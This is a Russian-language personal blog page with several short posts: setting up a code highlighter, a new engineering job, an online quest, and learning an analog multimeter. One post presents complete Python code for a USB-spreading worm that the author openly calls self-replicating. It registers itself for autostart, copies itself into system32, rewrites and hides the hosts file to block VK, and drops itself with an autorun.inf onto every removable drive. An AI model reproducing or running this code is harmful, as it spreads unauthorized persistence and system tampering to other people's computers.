Syntax Highlighter в blogspot.com

Posted by Reason89 | Posted in ,

   Поставил подсветку синтаксиса кода SyntaxHighlighter 3.0.83, немного кривовато смотрится, но лучше того, что было до этого. Жалко что blogger.com не позволяет более детальную работу с блогом. так бы можно было самому покопаться в исходниках. Ну или со временем установлю эти скрипты куда нить в другое место, и пропишу пути до них.
   Поддержка большого количества языков, цветовых оформлений не могут, не радовать. Скорее всего кроме стандартных есть и сторонние темы, нужно только поискать.
   Очень простой процесс установки. необходимо только между тегами <head> ... </head> вставить код:

<!--SYNTAX HIGHLIGHTER BEGINS-->
<link href="http://alexgorbatchev.com/pub/sh/3.0.83/styles/shCore.css" rel="stylesheet" type="text/css">
</link> <link href="http://alexgorbatchev.com/pub/sh/3.0.83/styles/shThemeRDark.css" rel="stylesheet" type="text/css">
</link> <script src="http://alexgorbatchev.com/pub/sh/3.0.83/scripts/shCore.js" type="text/javascript"> 
</script> <script src="http://alexgorbatchev.com/pub/sh/3.0.83/scripts/shBrushPython.js" type="text/javascript"> 
</script> <script language="javascript"> SyntaxHighlighter.config.bloggerMode = true;
SyntaxHighlighter.config.clipboardSwf = 'http://alexgorbatchev.com/pub/sh/3.0.83/scripts/clipboard.swf'; 
SyntaxHighlighter.all(); </script> 
<!--SYNTAX HIGHLIGHTER ENDS--> 
С последующим заключением нужного участка в:
<pre class="brush: python">
....
</pre>
   П.С. С python такой проблемы не возникало, но ща при оформлении поста пришлось все  символы < и > заменять на их мнемоники.

Python: Блокирование сайов с помощью hosts.

Posted by Reason89 | Posted in

   Узнал про модуль WMI для Python, решил не много поэкспериментировать. В голову особо ничего не пришло, потому решил банально поработать с файлом hosts, для блокирования сайтов(как пример ВК).
   Для работы с WMI необходимо сначала установить сам модуль, а затем pywin32, после чего необходима перезагрузка.
   С помощью WMI организованна способность к саморазмножению, немного сыровато, но все же она есть. При подключении любого флеш носителя, программа копирует себя на него.       Первоначально пытался организовать размножение другим способом, но сталкивался с тем, что программа приходила в негодность после того как в дисковод вставлялся любой диск, на которой она не могла записать файлы.
   В процессе написания столкнулся с несколькими подводными камнями, вроде того, что chmod в Windows не способен поставить на файл атрибуты скрытого системного файла, потому пришлось работать так скажем через cmd. И при работе с WMI, многие значения возвращаются в юникоде, потому пришлось их конвертировать.

# -*- coding: utf-8 -*-
import _winreg, shutil, time, glob, sys, os, wmi 

# Прописываем в автозагрузку
reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(reg, "host", 0, _winreg.REG_SZ, r"C:\WINDOWS\system32\host.py") 
shutil.copy(sys.argv[0], u"C:\WINDOWS\system32")

# Бесконечный цикл, с таймаутом в конце, чтобы не шибко грузить процессор
while 1:
   os.system("attrib -s -h C:\WINDOWS\system32\drivers\etc\hosts") # на всякий случай снимаем с него права
   hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "r")     # Открываем файл C:\WINDOWS\system32\drivers\etc\hosts
   w = hosts.read()                                                # Начинаем с ним работать как с текстом
   q = w.find("vk")                                                # Ищем строчку c vk
   if q == -1:                                                     # Если нет
      hosts.close()
      hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "a") # то открываем его для записи в конец файла и вносим свои изменения
      hosts.write("127.0.0.1 vkontakte.ru\n127.0.0.1 vk.com\n27.0.0.1 www.vk.com\n27.0.0.1 www.vkontakte.ru")
   hosts.close()
   os.system("attrib +h +s C:\WINDOWS\system32\drivers\etc\hosts") # Выставляем права скрытого системного файла
   c = wmi.WMI()                                                   # Начинаем работу с модулем WMI
   for disk in c.Win32_LogicalDisk(DriveType=2):                   # Для определения наличия съемных носителей  DriveType=2
      udisk = disk.Name
      disk = str(udisk)                                           # Модуль возвращает значению в юникоде, поэтому преобразовываем его
   puth = disk+r"\host.py"
   flash = glob.glob(puth)                                         # Проверяем наличие нашего файла на флешке
   lenf = len(flash)
   if lenf == 0:                                                   # Если его нет,
      os.system("attrib -s -h "+puth)
      os.system("attrib -s -h "+puta)
      shutil.copy(sys.argv[0], disk + "/")                        # То копируем его туда
      auto = open(disk+r"\autorun.inf", "w")                      # Создаем файл автозапуска
      auto.write("[autorun]\nopen=host.py")                       # Записываем туда все, что надо
      auto.close()
      os.system("attrib +s +h "+puth)                             # Прячем от лишних глаз
      os.system("attrib +s +h "+puta)
   time.sleep(180)                                                 # Таймаут 

Kaimi & DX QUEST

Posted by Reason89 | Posted in

   Поглядывая сегодня RSS ленту, увидел обновление блога Kaimi. Парень очень часто радовал меня постами в своем блоге, потому пройти мимо квеста который он на пару с DX создал, я не мог. Да и не написать об этом тоже. К тому же, уже давно не было слышно о новых квестах.
   Как я понял IT'шного в нем будет мало, хотя и называют они его интересным IT квестом, но задумка с оформлением мне уже нравится. Во всяком случае, я дошел до второго уровня и мало что еще увидел.
   П.С. Сейчас надо идти спать, завтра скорее всего посижу над ним еще.

Инженер - конструктор...

Posted by Reason89 | Posted in ,

   Устроился на работу, 13 сентября так сказать был первый рабочий день. Пока не совсем понял, что входит в мои обязанности. Радует одно, устроился как и хотел, на пол ставки и по специальности. Правда не куда хотел первоначально, но здесь мне тоже нравится. Коллектив подобрался очень хороший.
   Первоначально думал, что будет комната обставленная различными приборами, на каждом столе по паяльнику и.т.д. оказалось все на много лучше, чисто работа по документациям.
   На первое время очень не привычно, приходится рано вставать, а рано лечь постоянно что то мешает. Плюс немного сложно совмещать с учебой. Категорически ни на что не хватает времени, но когда то начинать все равно надо. К концу 5 курса будут хоть какие то практические навыки.

Разбираюсь с мультиметром (Ц4352).

Posted by Reason89 | Posted in


   Как уже упоминалось ранее, отец подарил мне аналоговый мультиметр. Эта красная коробочка пролежала на шкафу больше полугода, пока я не решил разобраться что к чему в ней. Естественно меня еще в школе научили пользоваться амперметром, вольтметром и омметром. Но как ни странно при первом же подключении, я не смог точно измерить сопротивление резистора. После того как я 30 минут просидел над ним я понял что в нем сели батарейки. Причем судя по тому как они были помяты и окислены, они сели там уже очень давно. Во всяком случае батарейки с виду напомнили мне те, что стояли в моем пульте телевизора в далеких 90-х.
   После замены прибор стал показывать все отлично. Но я же не школьник, что бы иметь прибор такого вида для определения трех констант Закона Ома. Пробежался по интернету, прочитал несколько статей о том как с помощью него определять неисправности в схеме. Теперь стало все на много понятнее. Думал найти еще и документацию к нему, как никак прибор должен сопровождаться определенными бумагами, а те что у меня в комплекте, изрядно подтерлись. Вместо того, чтоб найти документы я нашел цену прибора, около 5000 рублей. Был очень удивлен, так как цена хорошего цифрового мультиметра, с кучей разных функций и то меньше.
   Поигрался с различными элементами и тестером. Понял более менее, что к чему. Теперь буду надеяться, что смогу определить где неполадка в цепи.
   Вот нашел интересный ресурс, с хорошими и понятными статьями по этому поводу.